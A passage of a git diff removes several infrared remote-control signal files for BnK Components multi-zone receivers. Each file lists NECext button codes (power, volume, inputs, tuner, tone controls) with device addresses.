BK030_NUMBER_3 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 33 00 00 00 -# -name: BK030_NUMBER_4 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 35 00 00 00 -# -name: BK030_NUMBER_5 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 36 00 00 00 -# -name: BK030_NUMBER_6 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 37 00 00 00 -# -name: BK030_NUMBER_7 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 39 00 00 00 -# -name: BK030_NUMBER_8 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 3A 00 00 00 -# -name: BK030_NUMBER_9 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 3B 00 00 00 -# -name: BK030_NUMBER_0 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 3E 00 00 00 -# -name: BK030_SAVE -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 40 00 00 00 -# -name: BK030_TUNER_3 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 44 00 00 00 -# -name: BK030_INPUT_6 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 4A 00 00 00 -# -name: BK030_PRESET+ -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 4B 00 00 00 -# -name: BK030_D-IN -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 5A 00 00 00 -# -name: BK030_BASS- -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 65 00 00 00 -# -name: BK030_SOURCE+ -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 66 00 00 00 -# -name: BK030_INPUT_9 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 6E 00 00 00 -# -name: BK030_AM -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 76 00 00 00 -# -name: BK030_TREBLE- -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 79 00 00 00 -# -name: BK030_VIDEO- -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 7A 00 00 00 -# -name: BK030_EXIT -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 7D 00 00 00 -# -name: BK030_TUNER_2 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 84 00 00 00 -# -name: BK030_FM -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 8E 00 00 00 -# -name: BK030_SOURCE- -type: parsed -protocol: NECext -address: B7 84 00 00 -command: A6 00 00 00 -# -name: BK030_SLEEP -type: parsed -protocol: NECext -address: B7 84 00 00 -command: B3 00 00 00 -# -name: BK030_PRESET- -type: parsed -protocol: NECext -address: B7 84 00 00 -command: C6 00 00 00 -# -name: BK030_LOUDNESS -type: parsed -protocol: NECext -address: B7 84 00 00 -command: CF 00 00 00 -# -name: BK030_AUTO_LEVEL -type: parsed -protocol: NECext -address: B7 84 00 00 -command: E4 00 00 00 -# -name: BK030_BASS+ -type: parsed -protocol: NECext -address: B7 84 00 00 -command: E5 00 00 00 -# -name: BK030_TREBLE+ -type: parsed -protocol: NECext -address: B7 84 00 00 -command: F9 00 00 00 -# -name: BK030_VIDEO+ -type: parsed -protocol: NECext -address: B7 84 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir deleted file mode 100644 index 1d54144fd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK014_POWER_OFF -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 01 00 00 00 -# -name: BK014_POWER_ON -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 02 00 00 00 -# -name: BK014_MUTE -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 03 00 00 00 -# -name: BK014_INPUT_1 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 05 00 00 00 -# -name: BK014_INPUT_3 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 06 00 00 00 -# -name: BK014_INPUT_8 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 07 00 00 00 -# -name: BK014_INPUT_2 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 09 00 00 00 -# -name: BK014_INPUT_7 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 0B 00 00 00 -# -name: BK014_INPUT_4 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 0D 00 00 00 -# -name: BK014_TUNER_1 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 0E 00 00 00 -# -name: BK014_INPUT_5 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 0F 00 00 00 -# -name: BK014_STATION- -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 17 00 00 00 -# -name: BK014_STATION+ -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 18 00 00 00 -# -name: BK014_TUNE- -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 1B 00 00 00 -# -name: BK014_TUNE+ -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 1C 00 00 00 -# -name: BK014_LEFT -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 1F 00 00 00 -# -name: BK014_RIGHT -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 20 00 00 00 -# -name: BK014_VOLUME- -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 23 00 00 00 -# -name: BK014_VOLUME+ -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 24 00 00 00 -# -name: BK014_NUMBER_+10 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 29 00 00 00 -# -name: BK014_EQ -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 2A 00 00 00 -# -name: BK014_DOWN -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 2D 00 00 00 -# -name: BK014_UP -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 2E 00 00 00 -# -name: BK014_ENTER -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 30 00 00 00 -# -name: BK014_NUMBER_1 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 31 00 00 00 -# -name: BK014_NUMBER_2 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 32 00 00 00 -# -name: BK014_NUMBER_3 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 33 00 00 00 -# -name: BK014_NUMBER_4 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 35 00 00 00 -# -name: BK014_NUMBER_5 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 36 00 00 00 -# -name: BK014_NUMBER_6 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 37 00 00 00 -# -name: BK014_NUMBER_7 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 39 00 00 00 -# -name: BK014_NUMBER_8 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 3A 00 00 00 -# -name: BK014_NUMBER_9 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 3B 00 00 00 -# -name: BK014_NUMBER_0 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 3E 00 00 00 -# -name: BK014_SAVE -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 40 00 00 00 -# -name: BK014_TUNER_3 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 44 00 00 00 -# -name: BK014_INPUT_6 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 4A 00 00 00 -# -name: BK014_PRESET+ -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 4B 00 00 00 -# -name: BK014_D-IN -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 5A 00 00 00 -# -name: BK014_BASS- -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 65 00 00 00 -# -name: BK014_SOURCE+ -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 66 00 00 00 -# -name: BK014_INPUT_9 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 6E 00 00 00 -# -name: BK014_AM -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 76 00 00 00 -# -name: BK014_TREBLE- -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 79 00 00 00 -# -name: BK014_VIDEO- -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 7A 00 00 00 -# -name: BK014_EXIT -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 7D 00 00 00 -# -name: BK014_TUNER_2 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 84 00 00 00 -# -name: BK014_FM -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 8E 00 00 00 -# -name: BK014_SOURCE- -type: parsed -protocol: NECext -address: BB 00 00 00 -command: A6 00 00 00 -# -name: BK014_SLEEP -type: parsed -protocol: NECext -address: BB 00 00 00 -command: B3 00 00 00 -# -name: BK014_PRESET- -type: parsed -protocol: NECext -address: BB 00 00 00 -command: C6 00 00 00 -# -name: BK014_LOUDNESS -type: parsed -protocol: NECext -address: BB 00 00 00 -command: CF 00 00 00 -# -name: BK014_AUTO_LEVEL -type: parsed -protocol: NECext -address: BB 00 00 00 -command: E4 00 00 00 -# -name: BK014_BASS+ -type: parsed -protocol: NECext -address: BB 00 00 00 -command: E5 00 00 00 -# -name: BK014_TREBLE+ -type: parsed -protocol: NECext -address: BB 00 00 00 -command: F9 00 00 00 -# -name: BK014_VIDEO+ -type: parsed -protocol: NECext -address: BB 00 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir deleted file mode 100644 index dbe960007..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK021_POWER_OFF -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 01 00 00 00 -# -name: BK021_POWER_ON -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 02 00 00 00 -# -name: BK021_MUTE -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 03 00 00 00 -# -name: BK021_INPUT_1 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 05 00 00 00 -# -name: BK021_INPUT_3 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 06 00 00 00 -# -name: BK021_INPUT_8 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 07 00 00 00 -# -name: BK021_INPUT_2 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 09 00 00 00 -# -name: BK021_INPUT_7 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 0B 00 00 00 -# -name: BK021_INPUT_4 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 0D 00 00 00 -# -name: BK021_TUNER_1 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 0E 00 00 00 -# -name: BK021_INPUT_5 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 0F 00 00 00 -# -name: BK021_STATION- -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 17 00 00 00 -# -name: BK021_STATION+ -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 18 00 00 00 -# -name: BK021_TUNE- -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 1B 00 00 00 -# -name: BK021_TUNE+ -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 1C 00 00 00 -# -name: BK021_LEFT -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 1F 00 00 00 -# -name: BK021_RIGHT -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 20 00 00 00 -# -name: BK021_VOLUME- -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 23 00 00 00 -# -name: BK021_VOLUME+ -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 24 00 00 00 -# -name: BK021_NUMBER_+10 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 29 00 00 00 -# -name: BK021_EQ -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 2A 00 00 00 -# -name: BK021_DOWN -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 2D 00 00 00 -# -name: BK021_UP -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 2E 00 00 00 -# -name: BK021_ENTER -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 30 00 00 00 -# -name: BK021_NUMBER_1 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 31 00 00 00 -# -name: BK021_NUMBER_2 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 32 00 00 00 -# -name: BK021_NUMBER_3 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 33 00 00 00 -# -name: BK021_NUMBER_4 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 35 00 00 00 -# -name: BK021_NUMBER_5 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 36 00 00 00 -# -name: BK021_NUMBER_6 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 37 00 00 00 -# -name: BK021_NUMBER_7 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 39 00 00 00 -# -name: BK021_NUMBER_8 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 3A 00 00 00 -# -name: BK021_NUMBER_9 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 3B 00 00 00 -# -name: BK021_NUMBER_0 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 3E 00 00 00 -# -name: BK021_SAVE -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 40 00 00 00 -# -name: BK021_TUNER_3 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 44 00 00 00 -# -name: BK021_INPUT_6 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 4A 00 00 00 -# -name: BK021_PRESET+ -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 4B 00 00 00 -# -name: BK021_D-IN -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 5A 00 00 00 -# -name: BK021_BASS- -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 65 00 00 00 -# -name: BK021_SOURCE+ -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 66 00 00 00 -# -name: BK021_INPUT_9 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 6E 00 00 00 -# -name: BK021_AM -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 76 00 00 00 -# -name: BK021_TREBLE- -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 79 00 00 00 -# -name: BK021_VIDEO- -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 7A 00 00 00 -# -name: BK021_EXIT -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 7D 00 00 00 -# -name: BK021_TUNER_2 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 84 00 00 00 -# -name: BK021_FM -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 8E 00 00 00 -# -name: BK021_SOURCE- -type: parsed -protocol: NECext -address: C7 83 00 00 -command: A6 00 00 00 -# -name: BK021_SLEEP -type: parsed -protocol: NECext -address: C7 83 00 00 -command: B3 00 00 00 -# -name: BK021_PRESET- -type: parsed -protocol: NECext -address: C7 83 00 00 -command: C6 00 00 00 -# -name: BK021_LOUDNESS -type: parsed -protocol: NECext -address: C7 83 00 00 -command: CF 00 00 00 -# -name: BK021_AUTO_LEVEL -type: parsed -protocol: NECext -address: C7 83 00 00 -command: E4 00 00 00 -# -name: BK021_BASS+ -type: parsed -protocol: NECext -address: C7 83 00 00 -command: E5 00 00 00 -# -name: BK021_TREBLE+ -type: parsed -protocol: NECext -address: C7 83 00 00 -command: F9 00 00 00 -# -name: BK021_VIDEO+ -type: parsed -protocol: NECext -address: C7 83 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir deleted file mode 100644 index 318b75526..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK028_POWER_OFF -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 01 00 00 00 -# -name: BK028_POWER_ON -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 02 00 00 00 -# -name: BK028_MUTE -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 03 00 00 00 -# -name: BK028_INPUT_1 -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 05 00 00 00 -# -name: BK028_INPUT_3 -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 06 00 00 00 -# -name: BK028_INPUT_8 -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 07 00 00 00 -# -name: BK028_INPUT_2 -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 09 00 00 00 -# -name: BK028_INPUT_7 -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 0B 00 00 00 -# -name: BK028_INPUT_4 -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 0D 00 00 00 -# -name: BK028_TUNER_1 -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 0E 00 00 00 -# -name: BK028_INPUT_5 -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 0F 00 00 00 -# -name: BK028_STATION- -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 17 00 00 00 -# -name: BK028_STATION+ -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 18 00 00 00 -# -name: BK028_TUNE- -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 1B 00 00 00 -# -name: BK028_TUNE+ -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 1C 00 00 00 -# -name: BK028_LEFT -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 1F 00 00 00 -# -name: BK028_RIGHT -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 20 00 00 00 -# -name: BK028_VOLUME- -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 23 00 00 00 -# -name: BK028_VOLUME+ -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 24 00 00 00 -# -name: BK028_NUMBER_+10 -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 29 00 00 00 -# -name: BK028_EQ -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 2A 00 00 00 -# -name: BK028_DOWN -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 2D 00 00 00 -# -name: BK028_UP -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 2E 00 00 00 -# -name: BK028_ENTER -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 30 00 00 00 -# -name: BK028_NUMBER_1 -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 31 00 00 00 -# -name: BK028_NUMBER_2 -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 32 00 00 00 -# -name: BK028_NUMBER_3 -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 33 00 00 00 -# -name: BK028_NUMBER_4 -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 35 00 00 00 -# -name: BK028_NUMBER_5 -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 36 00 00 00 -# -name: BK028_NUMBER_6 -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 37 00 00 00 -# -name: BK028_NUMBER_7 -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 39 00 00 00 -# -name: BK028_NUMBER_8 -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 3A 00 00 00 -# -name: BK028_NUMBER_9 -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 3B 00 00 00 -# -name: BK028_NUMBER_0 -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 3E 00 00 00 -# -name: BK028_SAVE -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 40 00 00 00 -# -name: BK028_TUNER_3 -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 44 00 00 00 -# -name: BK028_INPUT_6 -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 4A 00 00 00 -# -name: BK028_PRESET+ -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 4B 00 00 00 -# -name: BK028_D-IN -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 5A 00 00 00 -# -name: BK028_BASS- -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 65 00 00 00 -# -name: BK028_SOURCE+ -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 66 00 00 00 -# -name: BK028_INPUT_9 -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 6E 00 00 00 -# -name: BK028_AM -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 76 00 00 00 -# -name: BK028_TREBLE- -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 79 00 00 00 -# -name: BK028_VIDEO- -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 7A 00 00 00 -# -name: BK028_EXIT -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 7D 00 00 00 -# -name: BK028_TUNER_2 -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 84 00 00 00 -# -name: BK028_FM -type: parsed -protocol: NECext -address: D7 82 00 00 -command: 8E 00 00 00 -# -name: BK028_SOURCE- -type: parsed -protocol: NECext -address: D7 82 00 00 -command: A6 00 00 00 -# -name: BK028_SLEEP -type: parsed -protocol: NECext -address: D7 82 00 00 -command: B3 00 00 00 -# -name: BK028_PRESET- -type: parsed -protocol: NECext -address: D7 82 00 00 -command: C6 00 00 00 -# -name: BK028_LOUDNESS -type: parsed -protocol: NECext -address: D7 82 00 00 -command: CF 00 00 00 -# -name: BK028_AUTO_LEVEL -type: parsed -protocol: NECext -address: D7 82 00 00 -command: E4 00 00 00 -# -name: BK028_BASS+ -type: parsed -protocol: NECext -address: D7 82 00 00 -command: E5 00 00 00 -# -name: BK028_TREBLE+ -type: parsed -protocol: NECext -address: D7 82 00 00 -command: F9 00 00 00 -# -name: BK028_VIDEO+ -type: parsed -protocol: NECext -address: D7 82 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir deleted file mode 100644 index c954d9aa8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK012_POWER_OFF -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 01 00 00 00 -# -name: BK012_POWER_ON -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 02 00 00 00 -# -name: BK012_MUTE -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 03 00 00 00 -# -name: BK012_INPUT_1 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 05 00 00 00 -# -name: BK012_INPUT_3 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 06 00 00 00 -# -name: BK012_INPUT_8 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 07 00 00 00 -# -name: BK012_INPUT_2 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 09 00 00 00 -# -name: BK012_INPUT_7 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 0B 00 00 00 -# -name: BK012_INPUT_4 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 0D 00 00 00 -# -name: BK012_TUNER_1 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 0E 00 00 00 -# -name: BK012_INPUT_5 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 0F 00 00 00 -# -name: BK012_STATION- -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 17 00 00 00 -# -name: BK012_STATION+ -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 18 00 00 00 -# -name: BK012_TUNE- -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 1B 00 00 00 -# -name: BK012_TUNE+ -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 1C 00 00 00 -# -name: BK012_LEFT -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 1F 00 00 00 -# -name: BK012_RIGHT -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 20 00 00 00 -# -name: BK012_VOLUME- -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 23 00 00 00 -# -name: BK012_VOLUME+ -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 24 00 00 00 -# -name: BK012_NUMBER_+10 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 29 00 00 00 -# -name: BK012_EQ -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 2A 00 00 00 -# -name: BK012_DOWN -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 2D 00 00 00 -# -name: BK012_UP -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 2E 00 00 00 -# -name: BK012_ENTER -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 30 00 00 00 -# -name: BK012_NUMBER_1 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 31 00 00 00 -# -name: BK012_NUMBER_2 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 32 00 00 00 -# -name: BK012_NUMBER_3 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 33 00 00 00 -# -name: BK012_NUMBER_4 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 35 00 00 00 -# -name: BK012_NUMBER_5 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 36 00 00 00 -# -name: BK012_NUMBER_6 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 37 00 00 00 -# -name: BK012_NUMBER_7 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 39 00 00 00 -# -name: BK012_NUMBER_8 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 3A 00 00 00 -# -name: BK012_NUMBER_9 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 3B 00 00 00 -# -name: BK012_NUMBER_0 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 3E 00 00 00 -# -name: BK012_SAVE -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 40 00 00 00 -# -name: BK012_TUNER_3 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 44 00 00 00 -# -name: BK012_INPUT_6 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 4A 00 00 00 -# -name: BK012_PRESET+ -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 4B 00 00 00 -# -name: BK012_D-IN -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 5A 00 00 00 -# -name: BK012_BASS- -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 65 00 00 00 -# -name: BK012_SOURCE+ -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 66 00 00 00 -# -name: BK012_INPUT_9 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 6E 00 00 00 -# -name: BK012_AM -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 76 00 00 00 -# -name: BK012_TREBLE- -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 79 00 00 00 -# -name: BK012_VIDEO- -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 7A 00 00 00 -# -name: BK012_EXIT -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 7D 00 00 00 -# -name: BK012_TUNER_2 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 84 00 00 00 -# -name: BK012_FM -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 8E 00 00 00 -# -name: BK012_SOURCE- -type: parsed -protocol: NECext -address: DB 42 00 00 -command: A6 00 00 00 -# -name: BK012_SLEEP -type: parsed -protocol: NECext -address: DB 42 00 00 -command: B3 00 00 00 -# -name: BK012_PRESET- -type: parsed -protocol: NECext -address: DB 42 00 00 -command: C6 00 00 00 -# -name: BK012_LOUDNESS -type: parsed -protocol: NECext -address: DB 42 00 00 -command: CF 00 00 00 -# -name: BK012_AUTO_LEVEL -type: parsed -protocol: NECext -address: DB 42 00 00 -command: E4 00 00 00 -# -name: BK012_BASS+ -type: parsed -protocol: NECext -address: DB 42 00 00 -command: E5 00 00 00 -# -name: BK012_TREBLE+ -type: parsed -protocol: NECext -address: DB 42 00 00 -command: F9 00 00 00 -# -name: BK012_VIDEO+ -type: parsed -protocol: NECext -address: DB 42 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir deleted file mode 100644 index 3242bf626..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK017_POWER_OFF -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 01 00 00 00 -# -name: BK017_POWER_ON -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 02 00 00 00 -# -name: BK017_MUTE -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 03 00 00 00 -# -name: BK017_INPUT_1 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 05 00 00 00 -# -name: 